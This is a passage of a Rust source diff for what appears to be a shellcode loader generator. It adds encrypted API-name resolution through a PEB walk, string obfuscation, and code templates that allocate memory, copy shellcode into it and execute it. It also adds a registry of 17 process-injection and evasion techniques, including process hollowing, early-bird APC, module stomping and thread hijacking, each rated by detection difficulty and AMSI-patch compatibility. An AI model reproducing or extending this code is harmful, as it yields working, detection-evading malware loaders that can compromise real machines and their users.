+ let decrypted_fn = {decrypt_fn}(ENCRYPTED_FN_{const_name}, &{key_const_name}){expect_clause};
+
+ let dll_name = std::str::from_utf8(&decrypted_dll).expect("Invalid UTF-8 in DLL name");
+ let fn_name = std::str::from_utf8(&decrypted_fn).expect("Invalid UTF-8 in function name");
+
+ let module_base = internals::get_module_base(dll_name);
+ if module_base.is_null() {{
+ panic!("Failed to resolve module: {{}}", dll_name);
+ }}
+
+ let {var_name}_ptr = internals::get_function_address(module_base, fn_name);
+ if {var_name}_ptr.is_null() {{
+ panic!("Failed to resolve function: {{}}", fn_name);
+ }}"#,
+ function_name = self.function_name,
+ dll_name = self.dll_name,
+ const_name = self.const_name,
+ dll_array = self.dll_array,
+ fn_array = self.fn_array,
+ decrypt_fn = self.decrypt_fn,
+ expect_clause = self.expect_clause,
+ key_const_name = self.key_const_name,
+ var_name = self.var_name
+ )
+ }
+}
+
+pub fn generate_dynamic_function_resolver(
+ dll_name: &str,
+ function_name: &str,
+ encryption_type: &str,
+ var_name: &str,
+ key_const_name: &str,
+ encrypted_dll: &[u8],
+ encrypted_fn: &[u8],
+) -> Result<String, String> {
+ let builder = DynamicResolverBuilder::new(
+ dll_name,
+ function_name,
+ encryption_type,
+ var_name,
+ key_const_name,
+ encrypted_dll,
+ encrypted_fn,
+ )?;
+ Ok(builder.build())
+}
+
+/// Generate a type declaration and cast for a dynamically resolved function
+pub fn generate_function_type_and_cast(var_name: &str, function_signature: &str) -> String {
+ let type_name = to_upper_camel_case(var_name);
+
+ format!(
+ r#"type {type_name} = {signature};
+ let {var_name}: {type_name} = std::mem::transmute({var_name}_ptr);"#,
+ type_name = type_name,
+ signature = function_signature,
+ var_name = var_name
+ )
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ // Helper to create mock encrypted data for testing
+ fn mock_encrypt_xor(data: &[u8]) -> Vec<u8> {
+ // Simple XOR with a fixed key for testing
+ let key = b"test_key";
+ data.iter()
+ .enumerate()
+ .map(|(i, &b)| b ^ key[i % key.len()])
+ .collect()
+ }
+
+ #[test]
+ fn test_generate_dynamic_function_resolver_xor() {
+ let dll_encrypted = mock_encrypt_xor(b"kernel32.dll");
+ let fn_encrypted = mock_encrypt_xor(b"VirtualAlloc");
+
+ let result = generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "VirtualAlloc",
+ "xor",
+ "virtual_alloc",
+ "DECRYPTION_KEY",
+ &dll_encrypted,
+ &fn_encrypted,
+ );
+
+ assert!(result.is_ok());
+ let code = result.unwrap();
+ // Encrypted mode - should have ENCRYPTED prefix and decryption
+ assert!(code.contains("ENCRYPTED_DLL_VIRTUAL_ALLOC"));
+ assert!(code.contains("ENCRYPTED_FN_VIRTUAL_ALLOC"));
+ assert!(code.contains("decrypt_xor"));
+ assert!(code.contains("internals::get_module_base"));
+ assert!(code.contains("internals::get_function_address"));
+ assert!(code.contains("virtual_alloc_ptr"));
+ }
+
+ #[test]
+ fn test_generate_dynamic_function_resolver_aes() {
+ let dll_encrypted = mock_encrypt_xor(b"ntdll.dll");
+ let fn_encrypted = mock_encrypt_xor(b"RtlCopyMemory");
+
+ let result = generate_dynamic_function_resolver(
+ "ntdll.dll",
+ "RtlCopyMemory",
+ "aes",
+ "rtl_copy_memory",
+ "DECRYPTION_KEY",
+ &dll_encrypted,
+ &fn_encrypted,
+ );
+
+ assert!(result.is_ok());
+ let code = result.unwrap();
+ // Encrypted mode - should have ENCRYPTED prefix and decryption
+ assert!(code.contains("ENCRYPTED_DLL_RTL_COPY_MEMORY"));
+ assert!(code.contains("ENCRYPTED_FN_RTL_COPY_MEMORY"));
+ assert!(code.contains("decrypt_aes"));
+ }
+
+ #[test]
+ fn test_generate_function_type_and_cast() {
+ let code = generate_function_type_and_cast(
+ "virtual_alloc",
+ "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, u32, u32) -> *mut std::ffi::c_void",
+ );
+
+ assert!(code.contains("type VirtualAllocFn ="));
+ assert!(code.contains("let virtual_alloc: VirtualAllocFn"));
+ assert!(code.contains("std::mem::transmute(virtual_alloc_ptr)"));
+ }
+
+ #[test]
+ fn test_generate_dynamic_function_resolver_invalid_encryption() {
+ let dll_encrypted = mock_encrypt_xor(b"kernel32.dll");
+ let fn_encrypted = mock_encrypt_xor(b"VirtualAlloc");
+
+ let result = generate_dynamic_function_resolver(
+ "kernel32.dll",
+ "VirtualAlloc",
+ "invalid_type",
+ "virtual_alloc",
+ "DECRYPTION_KEY",
+ &dll_encrypted,
+ &fn_encrypted,
+ );
+
+ assert!(result.is_err());
+ assert!(result.unwrap_err().contains("Unknown encryption type"));
+ }
+}
diff --git a/src/internals/templates/resolver/encryption.rs b/src/internals/templates/resolver/encryption.rs
@@ -0,0 +1,54 @@
+/// Get the decryption function name for a given encryption type
+pub fn get_decrypt_function(encryption_type: &str) -> Result<&'static str, String> {
+ match encryption_type {
+ "xor" => Ok("internals::decrypt_xor"),
+ "aes" => Ok("internals::decrypt_aes"),
+ "aes256" => Ok("internals::decrypt_aes256"),
+ "chacha20" => Ok("internals::decrypt_chacha20"),
+ "blowfish" => Ok("internals::decrypt_blowfish"),
+ "twofish" => Ok("internals::decrypt_twofish"),
+ "camellia" => Ok("internals::decrypt_camellia"),
+ _ => Err(format!("Unknown encryption type: {}", encryption_type)),
+ }
+}
+
+/// Get the expect clause for a given encryption type
+pub fn get_expect_clause(encryption_type: &str) -> &'static str {
+ if encryption_type == "xor" {
+ ""
+ } else {
+ ".expect(\"Failed to decrypt\")"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_get_decrypt_function_xor() {
+ assert_eq!(
+ get_decrypt_function("xor").unwrap(),
+ "internals::decrypt_xor"
+ );
+ }
+
+ #[test]
+ fn test_get_decrypt_function_aes() {
+ assert_eq!(
+ get_decrypt_function("aes").unwrap(),
+ "internals::decrypt_aes"
+ );
+ }
+
+ #[test]
+ fn test_get_decrypt_function_invalid() {
+ assert!(get_decrypt_function("invalid").is_err());
+ }
+
+ #[test]
+ fn test_get_expect_clause() {
+ assert_eq!(get_expect_clause("xor"), "");
+ assert_eq!(get_expect_clause("aes"), ".expect(\"Failed to decrypt\")");
+ }
+}
diff --git a/src/internals/templates/resolver/helpers.rs b/src/internals/templates/resolver/helpers.rs
@@ -0,0 +1,48 @@
+/// Format bytes as a hex array string
+pub fn format_bytes_as_hex(bytes: &[u8]) -> String {
+ format!(
+ "[{}]",
+ bytes
+ .iter()
+ .map(|b| format!("0x{:02x}", b))
+ .collect::<Vec<_>>()
+ .join(", ")
+ )
+}
+
+/// Convert snake_case to UpperCamelCase
+pub fn to_upper_camel_case(s: &str) -> String {
+ s.split('_')
+ .map(|word| {
+ let mut chars = word.chars();
+ match chars.next() {
+ None => String::new(),
+ Some(first) => first.to_uppercase().chain(chars).collect(),
+ }
+ })
+ .collect::<String>()
+ + "Fn"
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_format_bytes_as_hex() {
+ let bytes = [0x41, 0x42, 0x43];
+ let result = format_bytes_as_hex(&bytes);
+ assert_eq!(result, "[0x41, 0x42, 0x43]");
+ }
+
+ #[test]
+ fn test_to_upper_camel_case() {
+ assert_eq!(to_upper_camel_case("virtual_alloc"), "VirtualAllocFn");
+ assert_eq!(
+ to_upper_camel_case("create_remote_thread"),
+ "CreateRemoteThreadFn"
+ );
+ assert_eq!(to_upper_camel_case("rtl_copy_memory"), "RtlCopyMemoryFn");
+ assert_eq!(to_upper_camel_case("simple"), "SimpleFn");
+ }
+}
diff --git a/src/internals/templates/resolver/mod.rs b/src/internals/templates/resolver/mod.rs
@@ -0,0 +1,11 @@
+mod base;
+mod dynamic;
+mod encryption;
+mod helpers;
+
+pub use base::*;
+pub use dynamic::*;
+#[allow(unused_imports)]
+pub use encryption::*;
+#[allow(unused_imports)]
+pub use helpers::*;
diff --git a/src/internals/templates/string_obfuscation.rs b/src/internals/templates/string_obfuscation.rs
@@ -0,0 +1,94 @@
+/// Trait for handling string obfuscation in generated templates
+pub trait StringObfuscation {
+ /// Generate the constant definitions for encrypted strings
+ fn generate_constants(&self) -> String;
+
+ /// Generate the decryption and print code
+ fn generate_decrypt_and_print(&self) -> String;
+}
+
+/// No string obfuscation - plain text output
+pub struct NoObfuscation;
+
+impl StringObfuscation for NoObfuscation {
+ fn generate_constants(&self) -> String {
+ String::new()
+ }
+
+ fn generate_decrypt_and_print(&self) -> String {
+ String::new()
+ }
+}
+
+/// String obfuscation using encryption
+pub struct WithStringObfuscation<'a> {
+ encrypted_message: &'a str,
+ encryption_type: &'a str,
+ original_plaintext: &'a str,
+ const_id: &'a str,
+}
+
+impl<'a> WithStringObfuscation<'a> {
+ pub fn new(
+ encrypted_message: &'a str,
+ encryption_type: &'a str,
+ original_plaintext: &'a str,
+ ) -> Self {
+ Self {
+ encrypted_message,
+ encryption_type,
+ original_plaintext,
+ const_id: "MSG",
+ }
+ }
+
+ pub fn with_id(
+ encrypted_message: &'a str,
+ encryption_type: &'a str,
+ original_plaintext: &'a str,
+ const_id: &'a str,
+ ) -> Self {
+ Self {
+ encrypted_message,
+ encryption_type,
+ original_plaintext,
+ const_id,
+ }
+ }
+}
+
+impl StringObfuscation for WithStringObfuscation<'_> {
+ fn generate_constants(&self) -> String {
+ format!(
+ "// encrypted_string!({:?})\nconst ENCRYPTED_{}: &[u8] = &{};\n",
+ self.original_plaintext, self.const_id, self.encrypted_message
+ )
+ }
+
+ fn generate_decrypt_and_print(&self) -> String {
+ let var_name = format!("_decrypted_{}", self.const_id.to_lowercase());
+ let const_name = format!("ENCRYPTED_{}", self.const_id);
+
+ match self.encryption_type {
+ "xor" => {
+ format!(
+ " let {} = internals::decrypt_xor({}, &DECRYPTION_KEY);",
+ var_name, const_name
+ )
+ }
+ "aes" => {
+ format!(
+ " let {} = internals::decrypt_aes({}, &DECRYPTION_KEY).expect(\"failed\");",
+ var_name, const_name
+ )
+ }
+ "chacha20" => {
+ format!(" let {} = internals::decrypt_chacha20({}, &DECRYPTION_KEY).expect(\"failed\");", var_name, const_name)
+ }
+ "blowfish" => {
+ format!(" let {} = internals::decrypt_blowfish({}, &DECRYPTION_KEY).expect(\"failed\");", var_name, const_name)
+ }
+ _ => String::new(),
+ }
+ }
+}
diff --git a/src/internals/templates/techniques/capabilities.rs b/src/internals/templates/techniques/capabilities.rs
@@ -0,0 +1,417 @@
+use std::collections::HashSet;
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
+pub enum Capability {
+ RequiresAdmin,
+ SupportsRemoteProcess,
+ SupportsDynamicResolver,
+ SupportsAMSIPatch,
+ RequiresNtdll,
+ LocalExecutionOnly,
+ RequiresProcessInjection,
+}
+
+impl Capability {
+ pub fn description(&self) -> &'static str {
+ match self {
+ Capability::RequiresAdmin => "Requires administrator privileges to execute",
+ Capability::SupportsRemoteProcess => "Supports injection into remote process",
+ Capability::SupportsDynamicResolver => "Supports dynamic function resolution",
+ Capability::SupportsAMSIPatch => "Compatible with AMSI patching",
+ Capability::RequiresNtdll => "Requires ntdll.dll functions",
+ Capability::LocalExecutionOnly => "Executes shellcode locally (no process injection)",
+ Capability::RequiresProcessInjection => {
+ "Requires target process for shellcode injection"
+ }
+ }
+ }
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
+pub enum DetectionDifficulty {
+ Low,
+ Medium,
+ MediumHigh,
+ High,
+ VeryHigh,
+}
+
+impl DetectionDifficulty {
+ pub fn as_str(&self) -> &'static str {
+ match self {
+ DetectionDifficulty::Low => "Low",
+ DetectionDifficulty::Medium => "Medium",
+ DetectionDifficulty::MediumHigh => "Medium-High",
+ DetectionDifficulty::High => "High",
+ DetectionDifficulty::VeryHigh => "Very High",
+ }
+ }
+}
+
+#[derive(Debug, Clone)]
+pub struct TechniqueMetadata {
+ pub name: &'static str,
+ pub capabilities: HashSet<Capability>,
+ pub detection_difficulty: DetectionDifficulty,
+ pub description: &'static str,
+}
+
+impl TechniqueMetadata {
+ pub fn has_capability(&self, cap: Capability) -> bool {
+ self.capabilities.contains(&cap)
+ }
+
+ pub fn requires_process(&self) -> bool {
+ self.has_capability(Capability::RequiresProcessInjection)
+ }
+
+ pub fn supports_dynamic_resolver(&self) -> bool {
+ self.has_capability(Capability::SupportsDynamicResolver)
+ }
+}
+
+pub fn get_technique_metadata(technique_name: &str) -> Option<TechniqueMetadata> {
+ get_technique_registry().iter().find_map(|meta| {
+ if meta.name.eq_ignore_ascii_case(technique_name) {
+ Some(meta.clone())
+ } else {
+ None
+ }
+ })
+}
+
+pub fn list_all_techniques() -> Vec<TechniqueMetadata> {
+ get_technique_registry()
+}
+
+fn get_technique_registry() -> Vec<TechniqueMetadata> {
+ vec![
+ TechniqueMetadata {
+ name: "crt",
+ capabilities: [
+ Capability::SupportsRemoteProcess,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ Capability::RequiresProcessInjection,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::Medium,
+ description: "CreateRemoteThread - Classic remote thread injection",
+ },
+ TechniqueMetadata {
+ name: "crtx",
+ capabilities: [
+ Capability::SupportsRemoteProcess,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ Capability::RequiresProcessInjection,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::Medium,
+ description: "CreateRemoteThreadEx - Extended remote thread injection",
+ },
+ TechniqueMetadata {
+ name: "create-fiber",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::MediumHigh,
+ description: "CreateFiber - Fiber-based local execution",
+ },
+ TechniqueMetadata {
+ name: "process-hollowing",
+ capabilities: [
+ Capability::SupportsRemoteProcess,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ Capability::RequiresNtdll,
+ Capability::RequiresProcessInjection,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "Process Hollowing - Memory replacement technique",
+ },
+ TechniqueMetadata {
+ name: "nt-create-thread-ex",
+ capabilities: [
+ Capability::SupportsRemoteProcess,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ Capability::RequiresNtdll,
+ Capability::RequiresProcessInjection,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::MediumHigh,
+ description: "NtCreateThreadEx - Native NT API thread creation",
+ },
+ TechniqueMetadata {
+ name: "syscall",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ Capability::RequiresNtdll,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::Medium,
+ description: "Syscall - Direct system call execution",
+ },
+ TechniqueMetadata {
+ name: "etwp",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "Etwp - ETW thread pool-based execution",
+ },
+ TechniqueMetadata {
+ name: "set-timer",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "SetTimer - Timer callback-based execution",
+ },
+ TechniqueMetadata {
+ name: "enum-calendar",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "EnumCalendar - Callback-based via EnumCalendarInfoW",
+ },
+ TechniqueMetadata {
+ name: "enum-windows",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "EnumWindows - Window enumeration callback-based execution",
+ },
+ TechniqueMetadata {
+ name: "enum-system-locales",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "EnumSystemLocales - Locale enumeration callback-based execution",
+ },
+ TechniqueMetadata {
+ name: "image-get-digest-stream",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "ImageGetDigestStream - Imagehlp callback-based execution",
+ },
+ TechniqueMetadata {
+ name: "queue-user-apc",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::High,
+ description: "QueueUserAPC - APC-based local execution",
+ },
+ TechniqueMetadata {
+ name: "fairy-law",
+ capabilities: [
+ Capability::RequiresAdmin,
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::VeryHigh,
+ description: "Fairy-Law - Privilege escalation via policy manipulation",
+ },
+ TechniqueMetadata {
+ name: "module-stomping",
+ capabilities: [
+ Capability::LocalExecutionOnly,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::VeryHigh,
+ description: "Module Stomping - DLL overwrite technique",
+ },
+ TechniqueMetadata {
+ name: "thread-hijacking",
+ capabilities: [
+ Capability::SupportsRemoteProcess,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ Capability::RequiresProcessInjection,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::VeryHigh,
+ description: "Thread Hijacking - Context manipulation technique",
+ },
+ TechniqueMetadata {
+ name: "early-bird",
+ capabilities: [
+ Capability::SupportsRemoteProcess,
+ Capability::SupportsDynamicResolver,
+ Capability::SupportsAMSIPatch,
+ Capability::RequiresProcessInjection,
+ ]
+ .iter()
+ .copied()
+ .collect(),
+ detection_difficulty: DetectionDifficulty::VeryHigh,
+ description: "Early Bird - APC injection before main thread starts",
+ },
+ ]
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_all_techniques_registered() {
+ assert_eq!(get_technique_registry().len(), 17);
+ }
+
+ #[test]
+ fn test_get_technique_metadata_crt() {
+ let meta = get_technique_metadata("crt").unwrap();
+ assert_eq!(meta.name, "crt");
+ assert!(meta.has_capability(Capability::SupportsRemoteProcess));
+ assert!(meta.has_capability(Capability::SupportsDynamicResolver));
+ assert!(meta.requires_process());
+ }
+
+ #[test]
+ fn test_get_technique_metadata_fairy_law() {
+ let meta = get_technique_metadata("fairy-law").unwrap();
+ assert_eq!(meta.name, "fairy-law");
+ assert!(meta.has_capability(Capability::RequiresAdmin));
+ assert!(!meta.requires_process());
+ }
+
+ #[test]
+ fn test_get_technique_metadata_case_insensitive() {
+ let meta1 = get_technique_metadata("CRT");
+ let meta2 = get_technique_metadata("crt");
+ let meta3 = get_technique_metadata("CrT");
+ assert!(meta1.is_some());
+ assert!(meta2.is_some());
+ assert!(meta3.is_some());
+ }
+
+ #[test]
+ fn test_get_technique_metadata_unknown() {
+ let meta = get_technique_metadata("unknown-technique");
+ assert!(meta.is_none());
+ }
+
+ #[test]
+ fn test_list_all_techniques() {
+ let techniques = list_all_techniques();
+ assert_eq!(techniques.len(), 17);
+ }
+
+ #[test]
+ fn test_local_execution_techniques_dont_require_process() {
+ for meta in get_technique_registry() {
+ if meta.has_capability(Capability::LocalExecutionOnly) {
+ assert!(!meta.requires_process());
+ }
+ }
+ }
+
+ #[test]
+ fn test_process_injection_techniques_require_process() {
+ for meta in get_technique_registry() {
+ if meta.has_capability(Capability::RequiresProcessInjection) {
+ assert!(meta.requires_process());
+ }
+ }
+ }
+
+ #[test]
+ fn test_all_techniques_support_dynamic_resolver() {
+ for meta in get_technique_registry() {
+ assert!(meta.supports_dynamic_resolver());
+ }
+ }
+
+ #[test]
+ fn test_all_techniques_support_amsi_patch() {
+ for meta in get_technique_registry() {
+ assert!(meta.has_capability(Capability::SupportsAMSIPatch));
+ }
+ }
+
+ #[test]
+ fn test_capability_descriptions() {
+ assert!(!Capability::RequiresAdmin.description().is_empty());
+ assert!(!Capability::SupportsRemoteProcess.description().is_empty());
+ assert!(!Capability::SupportsDynamicResolver.description().is_empty());
+ }
+
+ #[test]
+ fn test_detection_difficulty_ordering() {
+ assert!(DetectionDifficulty::Low < DetectionDifficulty::Medium);
+ assert!(DetectionDifficulty::Medium < DetectionDifficulty::MediumHigh);
+ assert!(DetectionDifficulty::MediumHigh < DetectionDifficulty::High);
+ assert!(DetectionDifficulty::High < DetectionDifficulty::VeryHigh);
+ }
+}
diff --git a/src/internals/templates/techniques/capability_matrix.rs b/src/internals/templates/techniques/capability_matrix.rs
@@ -0,0 +1,92 @@
+use crate::internals::templates::techniques::capabilities::{list_all_techniques, Capability};
+
+pub fn generate_capability_matrix() -> String {
+ let techniques = list_all_techniques();
+ let mut output = String::new();
+
+ output.push_str("### Technique Capability Matrix\n\n");
+ output.push_str("| Technique | Detection Difficulty | Admin Required | Process Injection | Dynamic Resolver | AMSI Patch | Requires Ntdll |\n");
+ output.push_str("|-----------|---------------------|----------------|-------------------|------------------|------------|----------------|\n");
+
+ for tech in techniques {
+ let requires_admin = if tech.has_capability(Capability::RequiresAdmin) {
+ "✓"
+ } else {
+ ""
+ };
+ let process_injection = if tech.has_capability(Capability::RequiresProcessInjection) {
+ "✓"
+ } else if tech.has_capability(Capability::LocalExecutionOnly) {
+ "Local"
+ } else {
+ ""
+ };
+ let dynamic_resolver = if tech.supports_dynamic_resolver() {
+ "✓"
+ } else {
+ ""
+ };
+ let amsi_patch = if tech.has_capability(Capability::SupportsAMSIPatch) {
+ "✓"
+ } else {
+ ""
+ };
+ let requires_ntdll = if tech.has_capability(Capability::RequiresNtdll) {
+ "✓"
+ } else {
+ ""
+ };
+
+ output.push_str(&format!(
+ "| {} | {} | {} | {} | {} | {} | {} |\n",
+ tech.name,
+ tech.detection_difficulty.as_str(),
+ requires_admin,
+ process_injection,
+ dynamic_resolver,
+ amsi_patch,
+ requires_ntdll
+ ));
+ }
+
+ output.push_str("\n**Legend:**\n");
+ output.push_str("- **Admin Required**: Technique requires administrator privileges\n");
+ output.push_str(
+ "- **Process Injection**: ✓ = Injects into remote process, Local = Executes locally\n",
+ );
+ output.push_str("- **Dynamic Resolver**: Supports runtime API resolution via PEB walk\n");
+ output.push_str("- **AMSI Patch**: Compatible with AMSI patching\n");
+ output.push_str("- **Requires Ntdll**: Uses native NT API functions from ntdll.dll\n");
+
+ output
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_capability_matrix() {
+ let matrix = generate_capability_matrix();
+ assert!(!matrix.is_empty());
+ assert!(matrix.contains("Technique"));
+ assert!(matrix.contains("Detection Difficulty"));
+ assert!(matrix.contains("crt"));
+ assert!(matrix.contains("fairy-law"));
+ assert!(matrix.contains("Legend"));
+ }
+
+ #[test]
+ fn test_matrix_contains_all_techniques() {
+ let matrix = generate_capability_matrix();
+ let techniques = list_all_techniques();
+
+ for tech in techniques {
+ assert!(
+ matrix.contains(tech.name),
+ "Matrix should contain technique: {}",
+ tech.name
+ );
+ }
+ }
+}
diff --git a/src/internals/templates/techniques/codegen_helpers.rs b/src/internals/templates/techniques/codegen_helpers.rs
@@ -0,0 +1,288 @@
+//! Helper functions for generating common code patterns in technique templates
+
+/// Format a function parameter for extern declarations
+pub fn format_param(name: &str, type_str: &str) -> String {
+ format!(" {}: {}", name, type_str)
+}
+
+/// Memory protection flags
+pub mod protection_flags {
+ pub const READWRITE: &str = "PAGE_READWRITE";
+ pub const EXECUTE_READ: &str = "PAGE_EXECUTE_READ";
+ pub const EXECUTE_READWRITE: &str = "PAGE_EXECUTE_READWRITE";
+}
+
+/// Generate an extern block with multiple functions
+pub struct ExternBlockBuilder {
+ library: String,
+ functions: Vec<String>,
+}
+
+impl ExternBlockBuilder {
+ pub fn new(library: &str) -> Self {
+ Self {
+ library: library.to_string(),
+ functions: Vec::new(),
+ }
+ }
+
+ pub fn add_function(mut self, signature: &str) -> Self {
+ self.functions.push(format!(" {}", signature));
+ self
+ }
+
+ pub fn build(self) -> String {
+ format!(
+ r#"#[link(name = "{}")]
+extern "system" {{
+{}
+}}"#,
+ self.library,
+ self.functions.join("\n\n")
+ )
+ }
+}
+
+/// Generate a simple function signature
+pub fn simple_function(name: &str, params: &[(&str, &str)], ret: &str) -> String {
+ let param_list = params
+ .iter()
+ .map(|(n, t)| format!(" {}: {}", n, t))
+ .collect::<Vec<_>>()
+ .join(",\n");
+
+ if ret.is_empty() {
+ format!("fn {}(\n{}\n );", name, param_list)
+ } else {
+ format!("fn {}(\n{}\n ) -> {};", name, param_list, ret)
+ }
+}
+
+/// Builder for common memory allocation pattern: VirtualAlloc + RtlCopyMemory + VirtualProtect
+pub struct MemoryAllocationBuilder {
+ addr_var: String,
+ protection: String,
+ use_virtual_protect: bool,
+ indent: String,
+}
+
+impl MemoryAllocationBuilder {
+ pub fn new() -> Self {
+ Self {
+ addr_var: "addr".to_string(),
+ protection: protection_flags::READWRITE.to_string(),
+ use_virtual_protect: false,
+ indent: " ".to_string(),
+ }
+ }
+
+ pub fn with_addr_var(mut self, var: &str) -> Self {
+ self.addr_var = var.to_string();
+ self
+ }
+
+ pub fn with_protection(mut self, protection: &str) -> Self {
+ self.protection = protection.to_string();
+ self
+ }
+
+ pub fn with_virtual_protect(mut self, enabled: bool) -> Self {
+ self.use_virtual_protect = enabled;
+ self
+ }
+
+ pub fn with_indent(mut self, indent: &str) -> Self {
+ self.indent = indent.to_string();
+ self
+ }
+
+ pub fn build(&self) -> String {
+ let virtual_protect_code = if self.use_virtual_protect {
+ format!(
+ r#"
+{}let mut old_protect: u32 = {};
+{}let result = VirtualProtect({} as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
+
+{}if result == 0 {{
+{} panic!("failed");
+{}}}"#,
+ self.indent,
+ self.protection,
+ self.indent,
+ self.addr_var,
+ self.indent,
+ self.indent,
+ self.indent
+ )
+ } else {
+ String::new()
+ };
+
+ format!(
+ r#"let {addr} = VirtualAlloc(
+{indent} ptr::null_mut(),
+{indent} shellcode.len(),
+{indent} MEM_COMMIT | MEM_RESERVE,
+{indent} {protection},
+{indent});
+
+{indent}if {addr}.is_null() {{
+{indent} panic!("failed");
+{indent}}}
+
+{indent}RtlCopyMemory(
+{indent} {addr},
+{indent} shellcode.as_ptr() as *const std::ffi::c_void,
+{indent} shellcode.len(),
+{indent});{vp_code}"#,
+ addr = self.addr_var,
+ indent = self.indent,
+ protection = self.protection,
+ vp_code = virtual_protect_code
+ )
+ }
+}
+
+impl Default for MemoryAllocationBuilder {
+ fn default() -> Self {
+ Self::new()
+ }
+}
+
+/// Generate error checking pattern for null pointers
+pub fn null_check(var_name: &str, indent: &str) -> String {
+ format!(
+ r#"if {}.is_null() {{
+{} panic!("failed");
+{}}}"#,
+ var_name, indent, indent
+ )
+}
+
+/// Generate error checking pattern for integer results
+pub fn result_check(var_name: &str, check_value: &str, indent: &str) -> String {
+ format!(
+ r#"if {} == {} {{
+{} panic!("failed");
+{}}}"#,
+ var_name, check_value, indent, indent
+ )
+}
+
+/// Generate shellcode execution pattern (transmute to function pointer)
+pub fn shellcode_execution(addr_var: &str, indent: &str) -> String {
+ format!(
+ r#"let shellcode_fn: extern "C" fn() = std::mem::transmute({});
+{}shellcode_fn();"#,
+ addr_var, indent
+ )
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_format_param() {
+ let result = format_param("handle", "*mut std::ffi::c_void");
+ assert_eq!(result, " handle: *mut std::ffi::c_void");
+ }
+
+ #[test]
+ fn test_extern_block_builder() {
+ let block = ExternBlockBuilder::new("kernel32")
+ .add_function("fn Sleep(milliseconds: u32);")
+ .add_function("fn GetLastError() -> u32;")
+ .build();
+
+ assert!(block.contains(r#"#[link(name = "kernel32")]"#));
+ assert!(block.contains("extern \"system\""));
+ assert!(block.contains("fn Sleep(milliseconds: u32);"));
+ assert!(block.contains("fn GetLastError() -> u32;"));
+ }
+
+ #[test]
+ fn test_simple_function() {
+ let result = simple_function(
+ "VirtualAlloc",
+ &[
+ ("address", "*const std::ffi::c_void"),
+ ("size", "usize"),
+ ("allocation_type", "u32"),
+ ("protect", "u32"),
+ ],
+ "*mut std::ffi::c_void",
+ );
+
+ assert!(result.contains("fn VirtualAlloc("));
+ assert!(result.contains("address: *const std::ffi::c_void"));
+ assert!(result.contains(") -> *mut std::ffi::c_void;"));
+ }
+
+ #[test]
+ fn test_simple_function_no_return() {
+ let result = simple_function("RtlCopyMemory", &[("dest", "*mut c_void")], "");
+
+ assert!(result.contains("fn RtlCopyMemory("));
